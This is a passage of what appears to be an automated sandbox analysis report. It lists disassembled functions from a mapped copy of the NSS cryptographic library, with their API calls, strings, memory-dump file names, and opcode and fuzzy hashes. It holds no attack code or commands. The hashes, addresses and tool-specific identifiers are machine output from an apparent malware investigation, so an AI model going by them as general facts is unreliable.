PORT_FreeArena_Util.NSS3(04890424,00000000,00000000,00000060,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76838
SECKEY_DestroyPublicKey.NSS3(8B088B0A,6CC85D40,00000000,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC7685B
CERT_DestroyCertificate.NSS3(8904508B,6CC85D40,00000000,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC7686E
PORT_FreeArena_Util.NSS3(?,00000000,00000000,00000060,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC7688D
PORT_FreeArena_Util.NSS3(C0850001,00000000,00000000,00000060,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC768A9
PK11_DestroyContext.NSS3(896CD516,00000001,00000000,00000060,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC768BE
PK11_DestroyContext.NSS3(15FF2404,00000001,00000000,00000060,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC768D3
PK11_DestroyContext.NSS3(6CD4CCEC,00000001,00000000,00000060,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC768E8
PK11_DestroyContext.NSS3(8504EC83,00000001,00000000,00000060,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC768FD
free.MOZGLUE(892C4889), ref: 6CC76940
SECITEM_ZfreeItem_Util.NSS3(6CC86218,00000000), ref: 6CC76953
SECITEM_ZfreeItem_Util.NSS3(6CC86310,00000000,6CC85D40,00000000,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC76963
SECITEM_ZfreeItem_Util.NSS3(6CC86390,00000000,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76973
free.MOZGLUE(894AD231,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC7699E
PK11_FreeSymKey.NSS3(0F6CD260,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC769EE
PK11_FreeSymKey.NSS3(4E89C844,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76A01
PK11_FreeSymKey.NSS3(01EAE904,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76A14
PK11_FreeSymKey.NSS3(E3830000,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76A27
PK11_FreeSymKey.NSS3(1BE3C101,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76A3A
PK11_FreeSymKey.NSS3(FFFFFFB8,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76A4D
PK11_FreeSymKey.NSS3(023DE9F7,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76A60
PK11_FreeSymKey.NSS3(E3830000,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76A73
PK11_FreeSymKey.NSS3(0CE3C101,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76A86
PK11_FreeSymKey.NSS3(FFEFFFB8,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76A99

Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE10
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE24
Part of subcall function 6CC3ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CC1D079,00000000,00000001), ref: 6CC3AE5A
Part of subcall function 6CC3ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE6F
Part of subcall function 6CC3ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AE7F
Part of subcall function 6CC3ADC0: TlsGetValue.KERNEL32(?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEB1
Part of subcall function 6CC3ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC1CDBB,?,6CC1D079,00000000,00000001), ref: 6CC3AEC9

PK11_HPKE_DestroyContext.NSS3(15FF2404,00000001,?,?,?,?,?,?,?,?,?,?,6CC85D40,00000000,?,6CC8AAD4), ref: 6CC76AD1
free.MOZGLUE(6CD4CCEC,?,?,?,?,?,?,?,?,?,?,?,?,6CC85D40,00000000), ref: 6CC76AE4

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$Free$Destroy$Utilfree$Context$Arena_CertificateCriticalEnterItem_SectionValueZfree$Unlock$PrivatePublicmemset
String ID:
API String ID: 474436658-0
Opcode ID: 27782ea001b304592e686990350e1faa40b2b1e412ac5711c3118667e1cd3672
Instruction ID: b26098ff7fcbd4e07e65909896df8e341859a8869bde8bbbb09124876eb6a9da
Opcode Fuzzy Hash: 27782ea001b304592e686990350e1faa40b2b1e412ac5711c3118667e1cd3672
Instruction Fuzzy Hash: F4814EF5A00B005BEA21DB75AC85B9776ECAF4034DF044838E56AD7A41FB35F518CB62

Function 6CCC6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB7CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBDF9C9,?,6CBDF4DA,6CBDF9C9,?,?,6CBA369A), ref: 6CB7CA7A
Part of subcall function 6CB7CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB7CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CB8BE66), ref: 6CCC6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CB8BE66), ref: 6CCC6E98
sqlite3_snprintf.NSS3(?,00000000,6CD2AAF9,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CB8BE66), ref: 6CCC6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CB8BE66), ref: 6CCC6FA6
sqlite3_snprintf.NSS3(?,00000000,6CD2AAF9,00000000,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC7014
sqlite3_free.NSS3(00000000,?,?,?,?,6CB8BE66), ref: 6CCC701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CB8BE66), ref: 6CCC7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CB8BE66), ref: 6CCC7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CB8BE66), ref: 6CCC70A0

Strings

winGetTempname4, xrefs: 6CCC7046
winGetTempname1, xrefs: 6CCC708F
winGetTempname5, xrefs: 6CCC7071
mz_etilqs_, xrefs: 6CCC6F18
winGetTempname2, xrefs: 6CCC70C4

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 848a4283ce9ec163adfb71b9db2f8823cf11421c993dfa59d54c4e23291875b4
Instruction ID: e24fd82c62ec261feb5a1dca5be2f5c7d37691dd2d0b2bbe68a0c219de08c1a2
Opcode Fuzzy Hash: 848a4283ce9ec163adfb71b9db2f8823cf11421c993dfa59d54c4e23291875b4
Instruction Fuzzy Hash: 455167B1F006112BF31097359C55BBF366A9F82348F184538E91596FD1FB25940E83E3

Function 6CC54FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC075C2,00000000,00000000,00000001), ref: 6CC55009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC075C2,00000000), ref: 6CC55049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC5505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CC55071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC550A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CC550B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC075C2), ref: 6CC550CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC550D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CC550F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC5511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC5512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55153
free.MOZGLUE(?), ref: 6CC5516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CC5517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CC55195

Strings

config=, xrefs: 6CC5509B
nss=, xrefs: 6CC55083
name=, xrefs: 6CC55057
library=, xrefs: 6CC55043
parameters=, xrefs: 6CC5506B

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 2c9bebffff6c00d42d48e2b08c3db49bf06e3b83e6077cb17c211a71592279a6
Instruction ID: 03cd2c87aeeb7c761a85154781aed74c8d679f6c94a94524c2fd0160e13f3133
Opcode Fuzzy Hash: 2c9bebffff6c00d42d48e2b08c3db49bf06e3b83e6077cb17c211a71592279a6
Instruction Fuzzy Hash: 34510AB5A01215ABEB01DF20DC41AAF37B8AF16248F540420ED19E7741FB35E939C7B6

Function 6CC54C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54C5B
PR_smprintf.NSS3(6CD2AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC54D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CC44F51,00000000), ref: 6CC54D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CC54D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CC54DA2
free.MOZGLUE(?), ref: 6CC54DB9
free.MOZGLUE(00000000), ref: 6CC54DCF

Strings

0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CC54D9D
rootFlags, xrefs: 6CC54D47
ootT, xrefs: 6CC54D1A
any, xrefs: 6CC54C96
%s,%s, xrefs: 6CC54C4B
0x%08lx=[%s %s], xrefs: 6CC54D80
rust, xrefs: 6CC54D22
timeout, xrefs: 6CC54C91
slotFlags, xrefs: 6CC54D34
every, xrefs: 6CC54CA1

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: da3d55b04ffaab4fa0f734fe641de242e71b3f84a7e87bf7a3787c44c49acef7
Instruction ID: 345f80c52e851093d8baf7322383c70e6bbb9c41cddc91f350cbb36b04d6be6a
Opcode Fuzzy Hash: da3d55b04ffaab4fa0f734fe641de242e71b3f84a7e87bf7a3787c44c49acef7
Instruction Fuzzy Hash: 2E4179B1D001416BEB12EF18DC85ABE3669AF8230CF498128ED195BB11F735E838C7D6

Function 6CC2E640 Relevance: 34.8, APIs: 23, Instructions: 266memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,6CC38C5B,-00000001), ref: 6CC2E655

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

PK11_GetIVLength.NSS3(-00000001,?,?,6CC38C5B,-00000001), ref: 6CC2E7DE
PORT_Alloc_Util.NSS3(00000000,?,?,?,6CC38C5B,-00000001), ref: 6CC2E7F4
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6CC38C5B,-00000001), ref: 6CC2E807
PK11_GetIVLength.NSS3(-00000001,?,?,6CC38C5B,-00000001), ref: 6CC2E81B
PORT_Alloc_Util.NSS3(00000000,?,?,?,6CC38C5B,-00000001), ref: 6CC2E82E
PK11_GenerateRandom.NSS3(00000000,00000000,?,?,?,?,6CC38C5B,-00000001), ref: 6CC2E841
free.MOZGLUE(00000000,?,?,?,?,?,?,6CC38C5B,-00000001), ref: 6CC2E852
PORT_Alloc_Util.NSS3(00000004,?,?,6CC38C5B,-00000001), ref: 6CC2E878
free.MOZGLUE(00000000,?,?,6CC38C5B,-00000001), ref: 6CC2E8AB
PORT_Alloc_Util.NSS3(0000000C,?,?,?,6CC38C5B,-00000001), ref: 6CC2E8B6
PORT_Alloc_Util.NSS3(00000008,?,?,?,?,6CC38C5B,-00000001), ref: 6CC2E8D4
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC2E9D5

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Alloc_$K11_$GenerateLengthRandomfree$Item_ValueZfreemalloc
String ID:
API String ID: 1964932494-0
Opcode ID: 6dd3c565f21d0f0c928e363f33c37c28458225ccfbcd695a20fbe15ba8300cfc
Instruction ID: 6a8f38a4a3646cfc144ddf900e79940c0023cb7212077809841f0dc864596c47
Opcode Fuzzy Hash: 6dd3c565f21d0f0c928e363f33c37c28458225ccfbcd695a20fbe15ba8300cfc
Instruction Fuzzy Hash: 1181B4B49017014BFB40AB3A98817AB36E8AB4174FF20403FD959E6E50FB3DD55486E2

Function 6CC32D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CC32DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CC32E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC32E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC32E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C,?,-00000001,00000000,?), ref: 6CC32E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CC04F1C,?,-00000001,00000000), ref: 6CC32E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC32EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC32EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CC32EF8
PR_Unlock.NSS3(?), ref: 6CC32F62
TlsGetValue.KERNEL32 ref: 6CC32F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC32F9E
PR_Unlock.NSS3(?), ref: 6CC32FCA
TlsGetValue.KERNEL32 ref: 6CC3301A
EnterCriticalSection.KERNEL32(?), ref: 6CC3302E
PR_Unlock.NSS3(?), ref: 6CC33066
PR_SetError.NSS3(00000000,00000000), ref: 6CC33085
PR_Unlock.NSS3(?), ref: 6CC330EC
TlsGetValue.KERNEL32 ref: 6CC3310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CC33124
PR_Unlock.NSS3(?), ref: 6CC3314C

Part of subcall function 6CC19180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CC4379E,?,6CC19568,00000000,?,6CC4379E,?,00000001,?), ref: 6CC1918D
Part of subcall function 6CC19180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CC4379E,?,6CC19568,00000000,?,6CC4379E,?,00000001,?), ref: 6CC191A0

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

PR_SetError.NSS3(00000000,00000000), ref: 6CC3316D

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 342243fb13eebc890d00ae68c5e3e5f21bc7ce02050830cf562d1783fed8602d
Instruction ID: 015e8ae274e3b178a59069db2b7f0271a58aa12ea832b40f9c7c00a108857a04
Opcode Fuzzy Hash: 342243fb13eebc890d00ae68c5e3e5f21bc7ce02050830cf562d1783fed8602d
Instruction Fuzzy Hash: 01F190B1D002189FEF00DF68E844B9EBBB8BF09318F545169ED08A7751E731E996CB91

Function 6CC50550 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 182stringCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(NSS_ALLOW_WEAK_SIGNATURE_ALG,00000002,00000000,?,6CC35989), ref: 6CC50571

Part of subcall function 6CBE1240: TlsGetValue.KERNEL32(00000040,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1267
Part of subcall function 6CBE1240: EnterCriticalSection.KERNEL32(?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE127C
Part of subcall function 6CBE1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE1291
Part of subcall function 6CBE1240: PR_Unlock.NSS3(?,?,?,?,6CBE116C,NSPR_LOG_MODULES), ref: 6CBE12A0

PR_GetEnvSecure.NSS3(NSS_HASH_ALG_SUPPORT,?,00000002,00000000,?,6CC35989), ref: 6CC505B7
PORT_Strdup_Util.NSS3(00000000,?,?,00000002,00000000,?,6CC35989), ref: 6CC505C8
strchr.VCRUNTIME140(00000000,0000003B,?,?,?,00000002,00000000,?,6CC35989), ref: 6CC505EC
strstr.VCRUNTIME140(00000001,?), ref: 6CC50653
free.MOZGLUE(?,?,?,?,00000002,00000000,?,6CC35989), ref: 6CC50681
PORT_NewArena_Util.NSS3(00000800,?,?,?,?,00000002,00000000,?,6CC35989), ref: 6CC506AB
PL_NewHashTable.NSS3(00000000,6CC4FE80,?,6CC9C350,00000000,00000000,?,?,?,?,?,00000002,00000000,?,6CC35989), ref: 6CC506D5
PL_NewHashTable.NSS3(00000000,?,6CC9C350,6CC9C350,00000000,00000000), ref: 6CC506EC
PL_HashTableAdd.NSS3(?,6CD1E618,6CD1E618), ref: 6CC5070F

Part of subcall function 6CB72DF0: PL_HashTableRawAdd.NSS3(?,?,?,?,?), ref: 6CB72E35

PL_HashTableAdd.NSS3(FFFFFFFF,6CD1E618), ref: 6CC50738
PL_HashTableAdd.NSS3(6CD1E634,6CD1E634), ref: 6CC50752
PR_SetError.NSS3(FFFFE001,00000000,?,?,?,?,00000002,00000000,?,6CC35989), ref: 6CC50767

Strings

V, xrefs: 6CC50559
dynamic OID data, xrefs: 6CC5068A
NSS_HASH_ALG_SUPPORT, xrefs: 6CC505B2
NSS_ALLOW_WEAK_SIGNATURE_ALG, xrefs: 6CC5056C
flags, xrefs: 6CC50555

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: HashTable$SecureUtil$Arena_CriticalEnterErrorSectionStrdup_UnlockValuefreegetenvstrchrstrstr
String ID: NSS_ALLOW_WEAK_SIGNATURE_ALG$NSS_HASH_ALG_SUPPORT$V$dynamic OID data$flags
API String ID: 514890423-4248967104
Opcode ID: 02e7f866d68d61165c797afc7b2a36ee9004f96379b82f89f7b5c3f3d74a30fd
Instruction ID: 961f5592ddf7a9e2e01a1975c457be331c35e4a318f3fe8e96939cfca86b4a48
Opcode Fuzzy Hash: 02e7f866d68d61165c797afc7b2a36ee9004f96379b82f89f7b5c3f3d74a30fd
Instruction Fuzzy Hash: FC511BB1E012815FFB109B359C097673AB8AB9239CF980529DD18D7B81F731D538CBA9

Function 6CC36CD0 Relevance: 30.3, APIs: 20, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC36910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CC36943
